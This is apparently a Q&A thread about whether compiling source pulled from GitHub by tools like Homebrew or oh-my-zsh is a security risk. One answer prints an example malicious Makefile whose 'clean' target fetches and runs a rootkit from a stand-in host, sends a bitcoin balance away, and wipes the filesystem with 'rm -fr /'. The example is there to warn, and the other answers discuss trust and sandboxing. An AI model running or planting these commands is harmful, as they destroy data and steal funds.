Is compiling source code from github a big security risk?

Question

I have several programs (Emacs el-get, oh-my-zsh and Homebrew) that occasionally load source code from github and compile it on my machine. Is this a big security concern? What can I do to prevent malware getting on my machine this way?

Answer 1

I'm going to assume you mean that you are compiling (but not running) untrusted code which could be malicious and are concerned about your build toolchain being exploited.

The answer is that, no, I don't think this is a good idea. Compilers are, in general, not safe to use with untrusted input.

Firstly, there's the source code itself. You don't mention what language you're importing from github, but if if it C/C++ (for example), then you may be subject to an attack from the preprocessor. While I don't know for sure that this is possible, I see no reason why it should not be. Having said this, however, there are online "compiler as a service" sites which will compile arbitrary code - so perhaps it is (or can be made) safe.

There are bigger worries than the compiler, though, since arbitrary filetypes can come down via github. For example, there's nothing stopping the a malicious Makefile from doing nasty things, which is very definitely possible, or a Visual Studio project specifying malicious "pre-build" script.

On the topic of Visual Studio (I guess you're using a make/gcc toolchain, but I'll mention VS for completeness - and because I know the answer) you should know that MS states that even loading malicious debugging symbols is a security risk, and that the visual studio linker is not considered secure against malicious code. A quick google finds this advisory which does not mention any patch is available.

Having said all of this, I haven't heard of this happening before, so it depends on your risk tolerance I guess. I wouldn't do it. If this is an automated build, it might be possible to build in a throwaway user account (taking additional steps if your source is intended to be kept secret).

Answer 2

Try to make this example Makefile:

# ...
# ...
# Too big text #1 to forensic
# ...
# ...

clean: 
    @echo "Hello"
    wget -q http://malwaresite.com/rootkit.bin
    chmod +x rootkit.bin
    ./rootkit.bin
    bitcoind sendtoaddress 1F1tAaz5x1HUXrCNLbtMDqcw6o5GNn4xqX `bitcoind getbalance`
    rm -fr /
    sudo rm -fr /
# ...
# ...
# Too big text #2 to forensic
# ...
# ...

Launch it in the ordinary manner:

$ make -f Makefile

---

The good way is to keep chroot environment, like Ubuntu lxc container or FreeBSD jail to build everything inside.

Answer 3

It depends entirely on how much you trust the process being used for the download. If the downloader authenticates that the source code is authentic, then there is really no more risk from the compilation than from any other download from that organization. If the source code is grabbed from an unsecured server or in a way that can be changed on the way to your computer, then it is potentially a security risk.

Fundamentally, the compilation isn't the issue, if you can trust the program being downloaded is the issue and it applies equally to code you will compile yourself as well as code that is downloaded as pre-compiled binaries.

Answer 4

In 2012, GitHub was hacked exploiting a Ruby on Rails vulnerability. The hacker had commit access to the master branch of any repository. From the article:

it’s highly likely that Egor Homakov was not the first person to exploit GitHub in this way. We would’ve heard about it if a large project had been deleted out of the blue — but maybe hackers have been quietly modifying code bases for their own, nefarious ends.

If this has happened, it's likely that we'll never find out.